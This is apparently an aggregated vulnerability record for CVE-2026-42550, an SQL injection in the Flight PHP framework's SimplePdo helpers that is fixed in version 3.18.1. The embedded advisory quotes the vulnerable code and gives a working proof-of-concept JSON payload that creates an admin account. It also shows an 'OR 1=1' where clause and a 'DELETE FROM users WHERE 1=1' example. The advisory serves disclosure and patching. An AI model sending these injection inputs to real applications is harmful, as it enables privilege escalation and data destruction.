{"id":"CVE-2026-42550","aliases":["EUVD-2026-30149","GHSA-xwqr-rcqg-22mr"],"status":"published","title":"Flight: SQL Injection via unvalidated identifiers in SimplePdo::insert / update / delete","description":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, SimplePdo::insert(), SimplePdo::update(), and SimplePdo::delete() build SQL statements by concatenating the $table argument and the keys of the $data array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. $db-\u003einsert('users', $request-\u003edata-\u003egetData()) — an attacker can inject arbitrary SQL by crafting malicious array keys. This vulnerability is fixed in 3.18.1.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00455,"percentile":0.39761,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-89"],"published":"2026-05-06T21:35:55Z","modified":"2026-10-28T02:31:03Z","fixes":[{"ecosystem":"Packagist","package":"flightphp/core","fixed_in":["3.18.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"flightphp/core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.18.1"}]}]},{"source":"osv","ecosystem":"Packagist","package":"flightphp/core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.18.1"}]}],"versions":["v1.0","v1.1","v1.1.10","v1.1.5","v1.2","v1.2.13","v1.2.14","v1.2.15","v1.2.17","v1.2.18","v1.2.19","v1.2.20","v1.2.21","v1.2.22","v1.3.0","v1.3.1","v1.3.2","v1.3.3","v1.3.4","v1.3.5","v1.3.7","v1.3.8","v1.3.9","v2.0.0","v2.0.1","v3.0.0","v3.0.1","v3.0.2","v3.1.0","v3.1.1","v3.10.0","v3.10.1","v3.11.0","v3.11.1","v3.12.0","v3.13.0","v3.13.1","v3.14.0","v3.15.0","v3.15.1","v3.15.2","v3.15.3","v3.16.0","v3.16.1","v3.17.0","v3.17.1","v3.17.2","v3.17.3","v3.17.4","v3.18.0","v3.2.0","v3.3.0","v3.4.0","v3.4.1","v3.4.2","v3.5.0","v3.5.2","v3.5.3","v3.6.0","v3.6.1","v3.6.2","v3.7.0","v3.7.1","v3.7.2","v3.8.0","v3.8.1","v3.9.0"]}],"products":[{"vendor":"flightphp","product":"core"},{"vendor":"opnsense","product":"core"}],"references":[{"url":"https://github.com/flightphp/core/security/advisories/GHSA-xwqr-rcqg-22mr","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/flightphp/core/commit/b8dd23aaa828cb289fa3c84e75b2a3717cab50b0","tags":["web"]},{"url":"https://github.com/flightphp/core/releases/tag/v3.18.1","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42550","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xwqr-rcqg-22mr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42550.json","tags":["advisory"]},{"url":"https://github.com/flightphp/core","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-42550","title":"Flight: SQL Injection via unvalidated identifiers in SimplePdo::insert / update / delete","description":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, SimplePdo::insert(), SimplePdo::update(), and SimplePdo::delete() build SQL statements by concatenating the $table argument and the keys of the $data array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. $db-\u003einsert('users', $request-\u003edata-\u003egetData()) — an attacker can inject arbitrary SQL by crafting malicious array keys. This vulnerability is fixed in 3.18.1.","status":"published","published":"2026-05-13T19:22:53.297Z","modified":"2026-05-14T15:44:19.9Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T13:40:23.731501Z"}],"euvd":[{"id":"EUVD-2026-30149","description":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, SimplePdo::insert(), SimplePdo::update(), and SimplePdo::delete() build SQL statements by concatenating the $table argument and the keys of the $data array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. $db-\u003einsert('users', $request-\u003edata-\u003egetData()) — an attacker can inject arbitrary SQL by crafting malicious array keys. This vulnerability is fixed in 3.18.1.","status":"published","published":"2026-05-13T19:22:53Z","modified":"2026-05-14T15:44:19Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:04:31.113278Z"}],"ghsa":[{"id":"GHSA-xwqr-rcqg-22mr","title":"Flight vulnerable to SQL Injection via unvalidated identifiers in SimplePdo::insert / update / delete","description":"### Summary\n`SimplePdo::insert()`, `SimplePdo::update()`, and `SimplePdo::delete()` build SQL statements by concatenating the `$table` argument and the **keys** of the `$data` array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. `$db-\u003einsert('users', $request-\u003edata-\u003egetData())` — an attacker can inject arbitrary SQL by crafting malicious array keys.\n\n### Affected code\n`flight/database/SimplePdo.php`:\n\n```php\n// insert (≈ 320-373)\n$sql = sprintf(\n    \"INSERT INTO %s (%s) VALUES (%s)\",\n    $table,                            // raw concat\n    implode(', ', $columns),           // raw array_keys($data)\n    implode(', ', $placeholders)\n);\n\n// update (≈ 397-409)\n$sets[] = \"$column = ?\";               // $column = user-controlled key\n$sql = sprintf(\n    \"UPDATE %s SET %s WHERE %s\",\n    $table,                            // raw\n    implode(', ', $sets),\n    $where\n);\n\n// delete (≈ 427-429)\n$sql = \"DELETE FROM $table WHERE $where\";\n```\n\nNo identifier-quoting helper exists; neither `$table` nor the data keys are validated against a safe-identifier pattern.\n\n### Proof of concept\nA controller does:\n```php\n$db-\u003einsert('users', $request-\u003edata-\u003egetData());\n```\n\nThe attacker sends the JSON body:\n```json\n{\"name, is_admin) VALUES (?, 1);-- \": \"attacker_injected\"}\n```\n\nGenerated SQL:\n```sql\nINSERT INTO users (name, is_admin) VALUES (?, 1);-- ) VALUES (?)\n```\n\nAfter the `--` comment, the effective statement `INSERT INTO users (name, is_admin) VALUES (?, 1)` binds the single placeholder `'attacker_injected'`, yielding a row with `is_admin = 1`.\n\nReproduced live on an in-memory sqlite database (`testproj/sqli_live2.php`):\n\n```\nid=1  name=alice              is_admin=0\nid=2  name=attacker_injected  is_admin=1   \u003c-- injected insert\n```\n\n`UPDATE` injection via the `$where` parameter was also reproduced: `$db-\u003eupdate('users', ['is_admin' =\u003e 1], \"id = 1 OR 1=1\")` flips admin on every row.\n\n### Impact\n- **Privilege escalation** on any signup / register endpoint that forwards request data to `insert()` (attacker creates an administrative account in a single request).\n- Arbitrary column write through `update()` keys.\n- Data destruction and exfiltration through the `$where` parameter (`DELETE FROM users WHERE 1=1`, UNION-based exfil, etc.).\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\nA new `requireSafeIdentifier()` helper validates table names and column names against `^[A-Za-z_][A-Za-z0-9_]*$` before they are interpolated into the SQL string. The `$where` parameter remains raw SQL as documented — parameterized values passed alongside it continue to be bound safely.\n\n### Credit\nDiscovered by **@Rootingg**.","status":"published","published":"2026-05-06T21:35:55Z","modified":"2026-05-14T20:40:05Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:40:10.269075Z"}],"nvd":[{"id":"CVE-2026-42550","description":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, SimplePdo::insert(), SimplePdo::update(), and SimplePdo::delete() build SQL statements by concatenating the $table argument and the keys of the $data array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. $db-\u003einsert('users', $request-\u003edata-\u003egetData()) — an attacker can inject arbitrary SQL by crafting malicious array keys. This vulnerability is fixed in 3.18.1.","status":"published","published":"2026-05-13T20:16:22.06Z","modified":"2026-10-26T14:10:00.13Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:12:19.020465Z"}],"osv":[{"id":"CVE-2026-42550","title":"Flight: SQL Injection via unvalidated identifiers in SimplePdo::insert / update / delete","description":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, SimplePdo::insert(), SimplePdo::update(), and SimplePdo::delete() build SQL statements by concatenating the $table argument and the keys of the $data array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. $db-\u003einsert('users', $request-\u003edata-\u003egetData()) — an attacker can inject arbitrary SQL by crafting malicious array keys. This vulnerability is fixed in 3.18.1.","status":"published","published":"2026-05-13T19:22:53.297Z","modified":"2026-10-28T02:31:03.362428521Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:45:04.117819Z"},{"id":"GHSA-xwqr-rcqg-22mr","title":"Flight vulnerable to SQL Injection via unvalidated identifiers in SimplePdo::insert / update / delete","description":"### Summary\n`SimplePdo::insert()`, `SimplePdo::update()`, and `SimplePdo::delete()` build SQL statements by concatenating the `$table` argument and the **keys** of the `$data` array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. `$db-\u003einsert('users', $request-\u003edata-\u003egetData())` — an attacker can inject arbitrary SQL by crafting malicious array keys.\n\n### Affected code\n`flight/database/SimplePdo.php`:\n\n```php\n// insert (≈ 320-373)\n$sql = sprintf(\n    \"INSERT INTO %s (%s) VALUES (%s)\",\n    $table,                            // raw concat\n    implode(', ', $columns),           // raw array_keys($data)\n    implode(', ', $placeholders)\n);\n\n// update (≈ 397-409)\n$sets[] = \"$column = ?\";               // $column = user-controlled key\n$sql = sprintf(\n    \"UPDATE %s SET %s WHERE %s\",\n    $table,                            // raw\n    implode(', ', $sets),\n    $where\n);\n\n// delete (≈ 427-429)\n$sql = \"DELETE FROM $table WHERE $where\";\n```\n\nNo identifier-quoting helper exists; neither `$table` nor the data keys are validated against a safe-identifier pattern.\n\n### Proof of concept\nA controller does:\n```php\n$db-\u003einsert('users', $request-\u003edata-\u003egetData());\n```\n\nThe attacker sends the JSON body:\n```json\n{\"name, is_admin) VALUES (?, 1);-- \": \"attacker_injected\"}\n```\n\nGenerated SQL:\n```sql\nINSERT INTO users (name, is_admin) VALUES (?, 1);-- ) VALUES (?)\n```\n\nAfter the `--` comment, the effective statement `INSERT INTO users (name, is_admin) VALUES (?, 1)` binds the single placeholder `'attacker_injected'`, yielding a row with `is_admin = 1`.\n\nReproduced live on an in-memory sqlite database (`testproj/sqli_live2.php`):\n\n```\nid=1  name=alice              is_admin=0\nid=2  name=attacker_injected  is_admin=1   \u003c-- injected insert\n```\n\n`UPDATE` injection via the `$where` parameter was also reproduced: `$db-\u003eupdate('users', ['is_admin' =\u003e 1], \"id = 1 OR 1=1\")` flips admin on every row.\n\n### Impact\n- **Privilege escalation** on any signup / register endpoint that forwards request data to `insert()` (attacker creates an administrative account in a single request).\n- Arbitrary column write through `update()` keys.\n- Data destruction and exfiltration through the `$where` parameter (`DELETE FROM users WHERE 1=1`, UNION-based exfil, etc.).\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\nA new `requireSafeIdentifier()` helper validates table names and column names against `^[A-Za-z_][A-Za-z0-9_]*$` before they are interpolated into the SQL string. The `$where` parameter remains raw SQL as documented — parameterized values passed alongside it continue to be bound safely.\n\n### Credit\nDiscovered by **@Rootingg**.","status":"published","published":"2026-05-06T21:35:55Z","modified":"2026-05-14T20:47:45.427852Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:47:00.604718Z"}]}}